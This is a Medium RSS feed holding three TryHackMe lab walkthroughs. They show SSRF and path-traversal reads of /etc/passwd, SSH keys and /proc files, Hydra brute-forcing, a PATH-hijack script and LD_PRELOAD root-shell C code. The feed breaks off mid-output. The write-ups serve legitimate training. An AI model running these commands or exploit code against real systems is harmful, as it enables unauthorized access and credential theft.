<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hunyejohn on Medium]]></title>
        <description><![CDATA[Stories by Hunyejohn on Medium]]></description>
        <link>https://medium.com/@hunyejohn69?source=rss-f4d3a0760fb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*ezy1aizpH0EGFxsd</url>
            <title>Stories by Hunyejohn on Medium</title>
            <link>https://medium.com/@hunyejohn69?source=rss-f4d3a0760fb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 08:25:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hunyejohn69/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Creative THM — Walkthrough]]></title>
            <link>https://medium.com/@hunyejohn69/creative-thm-walkthrough-2b8d8d55e296?source=rss-f4d3a0760fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/2b8d8d55e296</guid>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[thm-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Hunyejohn]]></dc:creator>
            <pubDate>Sun, 22 Jun 2025 02:04:21 GMT</pubDate>
            <atom:updated>2025-06-22T02:04:21.527Z</atom:updated>
            <content:encoded><![CDATA[<h3>Creative THM — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H7XXZIJzAZgrN-4kqd88eA.png" /></figure><h3>Enumeration</h3><h3>Nmap</h3><pre>PORT   STATE SERVICE REASON  VERSION<br>22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 b4:ae:7f:be:4e:1f:3a:08:18:52:40:23:1d:37:9b:1d (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5TgPM4rFfwCEuno4mvECYcyavyb5kFONFVroaayfADUPbiwd6wqnxZtei+ruo27jKP69wWUYL07jW91D8EwW3U67AKY10TemscME8sCltayZzW0FiBvd07oNb47wEt3pAzWi4ARDa3JJuCpa5PRxudBRKR5PP2jxbG1l7PjpjOWg3AfdNPo6E0Av5ujhBb2gEnwfXwI0Rz+OLo8lsBQnUSXe22RttXk/wlIU0MEGFxGRM98aNieD8jGKgwZ+3xQCK0z0KQbtRsnalOtrk0yEZ0ouWWBiXXzm9jIiglMeSAls7Rxg0NNUeTOF66aFM9PN6puwI4F0ElBFjXoBBp4YA3b5Y/9CW47m8yRLw+ZZBbOSqvzVo94AQlNsG+L8lF/AOYJUwwif8kxVTONA1/KYrn+EyRVm+Plpx2xtyeW+IvhfO5dR1wqx5JxNZDXK6lBcjcZkXY23nLlS06CywQ9ob6qpiBXs41pC1DG79Pq8vF+5YItZMEDJGdvDtMAtyQv0=<br>|   256 30:d3:4d:7e:2d:41:d4:80:31:11:8a:80:ff:9f:cc:0c (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBG0u70tCpoW8JBof1YLtXE32UtkmQt3Cki1p5gG9bvMnWhr3uupmcd2+2hcoWdwZtHvB1Xn2c+Jp+YdFn7EotCk=<br>|   256 9a:f6:a8:46:70:e2:c2:74:4c:8e:05:82:9c:21:be:78 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBTgylVUauttQ1KmVib0o2s/FhyYW768GtXBvKvtHtYL<br>80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-title: Did not follow redirect to &lt;http://creative.thm&gt;<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><h3>Web Enumeration</h3><h3>Directory bruteforcing</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*vHZtdMpmx-HXgmr_inheqw.png" /></figure><p>No hidden directory discovered</p><h3>Subdomain Bruteforce</h3><pre>┌──(kali㉿kali)-[~/Documents/THM/creative]<br>└─$ ffuf -H &quot;Host: FUZZ.creative.thm&quot; -H &quot;User-Agent: PENTEST&quot; -c -w &quot;/usr/share/amass/wordlists/subdomains-top1mil-5000.txt&quot; -u &quot;&lt;http://creative.thm&gt;&quot; -fs &quot;178&quot;</pre><pre>        /&#39;___\\  /&#39;___\\           /&#39;___\\       <br>       /\\ \\__/ /\\ \\__/  __  __  /\\ \\__/       <br>       \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\      <br>        \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/      <br>         \\ \\_\\   \\ \\_\\  \\ \\____/  \\ \\_\\       <br>          \\/_/    \\/_/   \\/___/    \\/_/       </pre><pre>       v2.1.0-dev<br>________________________________________________</pre><pre> :: Method           : GET<br> :: URL              : &lt;http://creative.thm&gt;<br> :: Wordlist         : FUZZ: /usr/share/amass/wordlists/subdomains-top1mil-5000.txt<br> :: Header           : User-Agent: PENTEST<br> :: Header           : Host: FUZZ.creative.thm<br> :: Follow redirects : false<br> :: Calibration      : false<br> :: Timeout          : 10<br> :: Threads          : 40<br> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500<br> :: Filter           : Response size: 178<br>________________________________________________</pre><pre>beta                    [Status: 200, Size: 591, Words: 91, Lines: 20, Duration: 327ms]<br>:: Progress: [5000/5000] :: Job [1/1] :: 56 req/sec :: Duration: [0:00:43] :: Errors: 0 ::</pre><p>Discovered a page in beta.creative.thmthat looks like it’s vulnerable to SSRF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gocbEFDj7eFpf8EYB0InhQ.png" /></figure><h3>SSRF</h3><p>Using SSRF, discovered 2 open ports running on the local machine 80, 1337.</p><pre>└─$ ffuf -u &quot;&lt;http://beta.creative.thm/&gt;&quot; \\<br>     -X POST \\<br>     -H &quot;Content-Type: application/x-www-form-urlencoded&quot; \\<br>     -d &quot;url=http://127.0.0.1:FUZZ&quot; \\<br>     -w port.txt \\<br>     -fs 13</pre><pre>        /&#39;___\\  /&#39;___\\           /&#39;___\\       <br>       /\\ \\__/ /\\ \\__/  __  __  /\\ \\__/       <br>       \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\      <br>        \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/      <br>         \\ \\_\\   \\ \\_\\  \\ \\____/  \\ \\_\\       <br>          \\/_/    \\/_/   \\/___/    \\/_/       </pre><pre>       v2.1.0-dev<br>________________________________________________</pre><pre> :: Method           : POST<br> :: URL              : &lt;http://beta.creative.thm/&gt;<br> :: Wordlist         : FUZZ: /home/kali/Documents/THM/creative/port.txt<br> :: Header           : Content-Type: application/x-www-form-urlencoded<br> :: Data             : url=http://127.0.0.1:FUZZ<br> :: Follow redirects : false<br> :: Calibration      : false<br> :: Timeout          : 10<br> :: Threads          : 40<br> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500<br> :: Filter           : Response size: 13<br>________________________________________________</pre><pre>80                      [Status: 200, Size: 37589, Words: 14867, Lines: 686, Duration: 158ms]<br>1337                    [Status: 200, Size: 1143, Words: 40, Lines: 39, Duration: 193ms]</pre><p>Access to root root files on port 1337s</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*BBmnb4AF-4uEV4i2OEcuIw.png" /></figure><p>Used the same vulnerability to read the /etc/passwd file and discovered we have 2 users: saad and ubuntu</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*jY2uFVqCn835gYOUpVSY6w.png" /></figure><h3>Initial Access (SAAD User)</h3><p>Used the same vulnerability to read the .sshfile and extracted the ssh key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*23yaaAgaRHfVkf09qO9oHg.png" /></figure><p>Tried to login with the key but a passphrase is required, decided to use john.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*knwLUGo66H6VJQ8GlSer6g.png" /></figure><h3>SAAD Enumeration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*ez82qAKRxBg0-BcDC8vekQ.png" /></figure><pre>saad@ip-10-10-221-5:~$ id<br>uid=1000(saad) gid=1000(saad) groups=1000(saad)</pre><h3>Linpeas</h3><p>Linpeas discovered password in history files saad:MyStrongestPasswordYet$4291</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*zqDoglPQWYP_KZX4A121Qg.png" /></figure><p>Tried to use the password to authenticate as root, but was not successful, so I used the creds to check the sudo permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*h7I8Re2xf490YyweORvrtA.png" /></figure><p>I missed but gpt got it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*OKQ5TpyxY9E9d3eX3f-65w.png" /></figure><p><a href="https://hacktricks.boitatech.com.br/linux-unix/privilege-escalation/ld.so.conf-example">https://hacktricks.boitatech.com.br/linux-unix/privilege-escalation/ld.so.conf-example</a></p><h3>Root Access</h3><h3>Exploit via LD_PRELOAD with sudo ping</h3><h3>1. Write Malicious C Code</h3><pre>// rootme.c<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br><br>void _init() {<br>    unsetenv(&quot;LD_PRELOAD&quot;);<br>    setgid(0);<br>    setuid(0);<br>    system(&quot;/bin/bash&quot;);<br>}</pre><h3>2. Compile It:</h3><pre>gcc -fPIC -shared -o rootme.so rootme.c -nostartfiles</pre><h3>3. Exploit It:</h3><pre>🚀 3. Exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*STcYtvHG0gHatj0B-5nx5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*0b0ZNzbR67LF2eSDTZejSQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2b8d8d55e296" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme: Lookup Walkthrough]]></title>
            <link>https://medium.com/@hunyejohn69/tryhackme-lookup-walkthrough-f55af0ede5f7?source=rss-f4d3a0760fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/f55af0ede5f7</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Hunyejohn]]></dc:creator>
            <pubDate>Sun, 08 Jun 2025 15:46:26 GMT</pubDate>
            <atom:updated>2025-06-08T15:46:26.921Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*oWyddNZnciyefA_qSfdvKQ.png" /></figure><h3>Nmap</h3><pre>PORT   STATE SERVICE REASON  VERSION<br>22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 8d:d6:29:12:fb:e8:b4:c6:14:51:10:9f:d0:15:ee:35 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD6/w/ykFP5URjAw37b1i/Dl5/G3gS/txxhO51eS6qpY2BaFDIJJLZC1EvzztHLTJvNTowdxlTbriYGPIDjT3n8s5U3W3GsLsNaBg7/egpxgU2mbjLXSwp5KHK9hiZ4uaCoU4b80TYe3jetrsaEs8+0FFVBac6akPxk1IPAY9EAihiQaXjUUF/FNQVZ8bkneXNjprBIVImHcEjG4ZUstO6u6SMnSQUdaohWOcFBCn+d+5yNpK17XQeH4gKlYZ+0TwRCazu0OBVHQzKdjJDGlTgRvrXxTMaW7yEPz8osbODAnGki178bQ6Q3gPg/A7qFvfkmODk/CiF5Q9lpicL8c5FpV9QZifaGh9tnpoVt/6Th9lzdkB4IZ+IUAK5yOEydJSpX0h0m30FUGo3UjWQviq4u/89mSGhCaxKcVxAFBVYcFyHNRMjSToTeq4nXib8rNe7vFJnFv4Tjr2usIcBCXAaMpq81H6p2XtmThkDTPEukIpYOCJa2nYpWMYnsTKuNTWU=<br>|   256 5b:f5:d3:61:fe:89:76:e1:9f:19:ac:93:97:65:e7:a5 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBC8DQpGTiXAOjCn4pWwCTRZ/SGDI5Y4Vm9Ci8Kw81xrCtzJphmojkK3f92+JHHVYX6JblqHH9tDNKeAUfFRWbI=<br>|   256 fe:7d:92:ce:17:ea:41:72:02:42:21:a6:2d:7d:81:b4 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDHKf1j8ZkQ206rbZlfQj9ertFrjQ00lgGGWP+bhVHMZ<br>80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: Did not follow redirect to &lt;http://lookup.thm&gt;<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><ul><li>Port 22 opened, running ubuntu</li></ul><blockquote>http webserver opened also running apache webserver with ubuntu os at the backend</blockquote><h3>SSH (22) Enumeration</h3><blockquote>Password authentication permitted.</blockquote><h3>HTTP (80) Enumeration</h3><h3>Gobuster</h3><p>No hidden directories found.</p><pre>└─$ gobuster  dir -u &lt;http://lookup.thm&gt; -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt<br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     &lt;http://lookup.thm&gt;<br>[+] Method:                  GET<br>[+] Threads:                 10<br>[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/server-status        (Status: 403) [Size: 275]<br>Progress: 23987 / 30000 (79.96%)[ERROR] parse &quot;&lt;http://lookup.thm/error\\x1f_log&gt;&quot;: net/url: invalid control character in URL<br>Progress: 29999 / 30000 (100.00%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>Detected different error responses</p><p>Looking at the error messages, admin is likely an accepted username on this site. We can try to bruteforce the password.</p><h3>Hydra</h3><p>Using hydra to brute-force the password</p><pre>└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form &quot;/login.php:username=^USER^&amp;password=^PASS^:Wrong password&quot;<br>Hydra v9.5 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).</pre><pre>Hydra (&lt;https://github.com/vanhauser-thc/thc-hydra&gt;) starting at 2025-06-04 12:51:36<br>[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task<br>[DATA] attacking http-post-form://lookup.thm:80/login.php:username=^USER^&amp;password=^PASS^:Wrong password<br>[STATUS] 827.00 tries/min, 827 tries in 00:01h, 14343572 to do in 289:05h, 16 active<br>[80][http-post-form] host: lookup.thm   login: admin   password: password123<br>1 of 1 target successfully completed, 1 valid password found<br>Hydra (&lt;https://github.com/vanhauser-thc/thc-hydra&gt;) finished at 2025-06-04 12:53:22</pre><p>We go the password:password123 but after trying the password, It’s is just a different response rather then granting access to the site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*ctuYS3XRbHNT6shz7X6ZJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*pAkNAvIRgnkVNWMieYRfdg.png" /></figure><p>I’m guessing there is a username with the password we got.</p><h3>Initial Web Access</h3><p>we got the username:jose and the password:password123.</p><pre>└─$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p password123 lookup.thm http-post-form &quot;/login.php:username=^USER^&amp;password=^PASS^:Wrong username or password. Please try again.&quot;<br>Hydra v9.5 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).</pre><pre>Hydra (&lt;https://github.com/vanhauser-thc/thc-hydra&gt;) starting at 2025-06-04 13:10:10<br>[DATA] max 16 tasks per 1 server, overall 16 tasks, 8295455 login tries (l:8295455/p:1), ~518466 tries per task<br>[DATA] attacking http-post-form://lookup.thm:80/login.php:username=^USER^&amp;password=^PASS^:Wrong username or password. Please try again.<br>[80][http-post-form] host: lookup.thm   login: jose   password: password123<br>[STATUS] 902.00 tries/min, 902 tries in 00:01h, 8294553 to do in 153:16h, 16 active</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*RrqddnlkYA1DhAFUrfM7SA.png" /></figure><p>checked the credentials.txt found in the files. the username think seems to exist but the password provided cannot authenticate to the account.</p><h3>elFinder Enumeration</h3><p>Got the version number 2.1.47</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*9PluZnU2erhx6ItTzxHw0g.png" /></figure><h3>Searchsploit</h3><p>Using searchsploit to search for vulnerabilities related to the elfinder found quite a few</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*Zpg4uRLSS9PgAgK1L1tTiw.png" /></figure><p>Used metasploit to exploit the vulnerabilities but unfortunately the exploit says the site is not vulnerable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*GkJ_uF_9cZN6YNJD2fq0xA.png" /></figure><p>Decided to google if I can discover other exploits that can work and luckily I found one</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*J48YkKMI6IvMC9qPPcSCGw.png" /></figure><h3>Initial access (www-data)</h3><p>Running the exploits grants shell access to www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*4sq9csU98K-3pOp7RqkGUw.png" /></figure><h3>User enumeration</h3><p>Reading the etc/passwd file, discovered 3 users: think, ssm-user and ubuntu.</p><pre>think:x:1000:1000:,,,:/home/think:/bin/bash<br>ssm-user:x:1001:1001::/home/ssm-user:/bin/sh<br>ubuntu:x:1002:1003:Ubuntu:/home/ubuntu:/bin/bash</pre><h3>Linpeas</h3><p>Detected an unknown SUID binary “out of place”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*6hHoJ8S7xA-RKQnXUQp0-g.png" /></figure><h3>PWM (Unknown binary)</h3><p>The binary literally runs the id command to extract the username and UID, it also tries to extract passwords</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*wVpSQDHasdDy6v6l6dZtUg.png" /></figure><p>To manipulate how commands are resolved in the system path, I created a <strong>custom </strong><strong>id script</strong> inside /tmp that echoes fake privilege information (UID, GID, groups as the user think). This was done using:</p><pre>echo &#39;echo &quot;uid=1000(think) gid=1000(think) groups=1000(think)&quot;&#39; &gt; /tmp/id<br>chmod +x /tmp/id</pre><p>The script was then made executable using chmod +x. If /tmp is placed at the beginning of the PATH variable (e.g., export PATH=/tmp:$PATH), any program or script that calls id without the full path would run <strong>this fake version</strong>, potentially tricking privilege checks in misconfigured environments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*Hv-dwKPGLkYt_gqEgum2Zg.png" /></figure><h3>Priviledge Escalation (think)</h3><p>Using the above password lists and hydra for bruteforcing, I successful got the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*DDpQvxeIc1Iiful18pFjFw.png" /></figure><p>think:josemario.AKA(think)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*BOudEr3ufEKhLTdQy6qaDQ.png" /></figure><p>Checking think’s sudo privileges(sudo -l), I discovered think can execute the look binary as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*T5iq_7Bcvoe6Yx0ha3jhlg.png" /></figure><p>!GTfobins here I come</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*EYKjhW64R0dMBv4y9HOVkA.png" /></figure><p>Note: This binary cannot be used directly to escalate privileges, but rather it can be used to read secret files that can then be used to escalate privileges. I used the vulnerability to read the ssh key, of which I can use it to ssh as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*75d5gHs90Wx9UTmjP_6YvA.png" /></figure><h3>Root access</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*6LZ5erflt7P775_2D5gRFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*qUx9dFK27h_fYtJFjB_azw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f55af0ede5f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Airplane Walkthrough (Tryhackme)]]></title>
            <link>https://medium.com/@hunyejohn69/airplane-walkthrough-tryhackme-ce5482f8aabf?source=rss-f4d3a0760fb------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce5482f8aabf</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ｐｙｔｈｏｎ]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Hunyejohn]]></dc:creator>
            <pubDate>Fri, 23 May 2025 19:54:19 GMT</pubDate>
            <atom:updated>2025-05-23T19:54:19.720Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*inIAIoQTAwcVQtFsUlFKgA.png" /></figure><h3>Introduction</h3><p>In this walkthrough, I’ll be covering the <strong>Airplane</strong> room on <strong>TryHackMe</strong> — a hands-on challenge that focuses on identifying and exploiting misconfigurations in a Python-based web application. This machine takes us through a series of vulnerabilities including <strong>directory traversal</strong>, <strong>process enumeration</strong>, <strong>SUID exploitation</strong>, and <strong>privilege escalation via sudo misconfiguration</strong>.</p><p>Throughout the engagement, I gained access by chaining multiple attack vectors, starting with a basic file read vulnerability and ending with full <strong>root</strong> access through clever abuse of system binaries and debugging tools. This machine is a great learning opportunity for anyone interested in <strong>web exploitation</strong>, <strong>Linux privilege escalation</strong>, and <strong>real-world attack simulations</strong>.</p><p>Btw welcome to my first writeup. Let’s dive into the details of how I approached and rooted the Airplane box. 🛫</p><h3>Enumeration</h3><h3>Nmap Scan</h3><pre>PORT     STATE SERVICE REASON  VERSION<br>22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuy7X5e34bStIhDkjJIcUT3kqFt9fHoI/q8AaCCH6HqgOz2HC5GdcDiBN8W6JMoRIIDJO/9FHiFE+MNtESwOP9J+S348GOhUIsVhDux7caJiyJQElrKxXJgxA7DNUvVJNBUchhgGhFv/qCNbUYF8+uaTYc0o/HtvgVw+t/bxS6EO+OlAOpyAjUP5XZjGTyc4n4uCc8mYW6aQHXZR0t5lMaKkNJzXl5+kHxxxnKci6+Ao8vrlKshgIq25NErSqoeTs/wgBcPMkr5r++emLH+rDwmjrTvwrHb2/bKKUenvnbf9AZXbcN52nGthVi95kP6HaDGijXULjrRt2GCul99OmNhEQxJNtLmUnxpxA9ZhBEzMYe3z5EeIbLuA+E9yFSrR6nq2pagC2/qvVMJSAzD749AbwjtbcL8MOf+7DCT+SATY9VxBqtKep/9PDolKi5+prGH6gzfjCkj5YaFS2CvJeGlF/B1XBzd1ccm43Lc4Ad/F4kvQWwkHmpL38kDy4eWCE=<br>|   256 ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLYVoN15q7ky/IIo3VNrL35GRCpppImVs7x+PPFRlqO+VcfQ8C+MR2zVEFS0wosQWQFXaCZiInQhWz9swfKN6J8=<br>|   256 a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFIB0hj2IqNazZojgwv0jJr+ZnOF1RCzykZ7W3jKsuCb<br>6048/tcp open  x11?    syn-ack<br>8000/tcp open  http    syn-ack Werkzeug httpd 3.0.2 (Python 3.8.10)<br>|_http-server-header: Werkzeug/3.0.2 Python/3.8.10<br>|_http-title: Did not follow redirect to &lt;http://airplane.thm:8000/?page=index.html&gt;<br>| http-methods: <br>|_  Supported Methods: GET OPTIONS HEAD<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><h3>SSH Enumeration</h3><p>*Password authentication permitted.</p><pre>└─$ ssh root@airplane.thm<br>The authenticity of host &#39;airplane.thm (10.10.96.196)&#39; can&#39;t be established.<br>ED25519 key fingerprint is SHA256:9q23c/CHFWNnqEDK/eQFZ2BSYcCGfCW3+A9hX0ubHj0.<br>This key is not known by any other names.<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;airplane.thm&#39; (ED25519) to the list of known hosts.<br>root@airplane.thm&#39;s password:</pre><h3>Port 6048 ???</h3><p>A brief research on this port but nothing meaningful was discovered.</p><h3>HTTP Enumeration</h3><p>Front page of [http://airplane](&lt;http://airplane&gt;).thm:8000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NVN88pT90QHUvs_N1k9FhA.jpeg" /></figure><h3>Dirsearch</h3><p>No directory discovered with dirsearch.</p><pre>└─$ dirsearch -u &lt;http://airplane.thm:8000&gt;<br>/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See &lt;https://setuptools.pypa.io/en/latest/pkg_resources.html&gt;<br>  from pkg_resources import DistributionNotFound, VersionConflict<br>  _|. _ _  _  _  _ _|_    v0.4.3<br> (_||| _) (/_(_|| (_| )<br>Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460<br>Output File: /home/kali/reports/http_airplane.thm_8000/_25-05-09_10-14-26.txt<br>Target: &lt;http://airplane.thm:8000/&gt;<br>[10:14:26] Starting: <br>                                                                             <br>Task Completed</pre><h3>Directory Traversal and LFI in the python application</h3><p>From the nmap results, discovered the website is running Werkzeug/3.0.2 which is a python application and it’s vulnerable to LFI or directory traversal.</p><p>Using that, we can check usernames with ../../etc/passwd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xxO39KtTcuVt19Zf_7Vb3Q.jpeg" /></figure><p>Discovered the username hudson and carlos.</p><p>Tried to use this method to enumerate the system, but no meaningful results gotten. So I decided to check out the running processes after reading through some writeups and past labs I’ve done.</p><h3>/proc Enumeration</h3><p>Use /proc/self/status to check for the current running process, which forms the running application app.py.</p><pre>─$ curl --output - &lt;http://airplane.thm:8000/?page=/../../../../../proc/self/cmdline&gt;<br>/usr/bin/python3app.py</pre><h3>Application code</h3><p>After discovering LFI, we can use that to read the application program</p><pre>└─$ curl --output - &lt;http://airplane.thm:8000/?page=/../app.py&gt;                       <br>from flask import Flask, send_file, redirect, render_template, request<br>import os.path</pre><pre>app = Flask(__name__)</pre><pre>@app.route(&#39;/&#39;)<br>def index():<br>    if &#39;page&#39; in request.args:<br>        page = &#39;static/&#39; + request.args.get(&#39;page&#39;)</pre><pre>        if os.path.isfile(page):<br>            resp = send_file(page)<br>            resp.direct_passthrough = False</pre><pre>            if os.path.getsize(page) == 0:<br>                resp.headers[&quot;Content-Length&quot;]=str(len(resp.get_data()))</pre><pre>            return resp<br>        <br>        else:<br>            return &quot;Page not found&quot;</pre><pre>    else:<br>        return redirect(&#39;&lt;http://airplane.thm:8000/?page=index.html&gt;&#39;, code=302)    </pre><pre>@app.route(&#39;/airplane&#39;)<br>def airplane():<br>    return render_template(&#39;airplane.html&#39;)</pre><pre>if __name__ == &#39;__main__&#39;:<br>    app.run(host=&#39;0.0.0.0&#39;, port=8000)</pre><ul><li>/proc/self/status: To get other information on the current running processes.</li></ul><pre>└─$ curl &lt;http://airplane.thm:8000/?page=/../../../../../proc/self/status&gt;<br>Name:   python3<br>Umask:  0022<br>State:  S (sleeping)<br>Tgid:   530<br>Ngid:   0<br>Pid:    530<br>PPid:   1<br>TracerPid:      0</pre><pre>Uid:    1001    1001    1001    1001<br>Gid:    1001    1001    1001    1001</pre><pre>FDSize: 128<br>Groups: 1001 <br>NStgid: 530<br>NSpid:  530<br>NSpgid: 530<br>NSsid:  530<br>VmPeak:   178876 kB<br>VmSize:   113704 kB<br>VmLck:         0 kB<br>VmPin:         0 kB<br>VmHWM:     27504 kB<br>VmRSS: 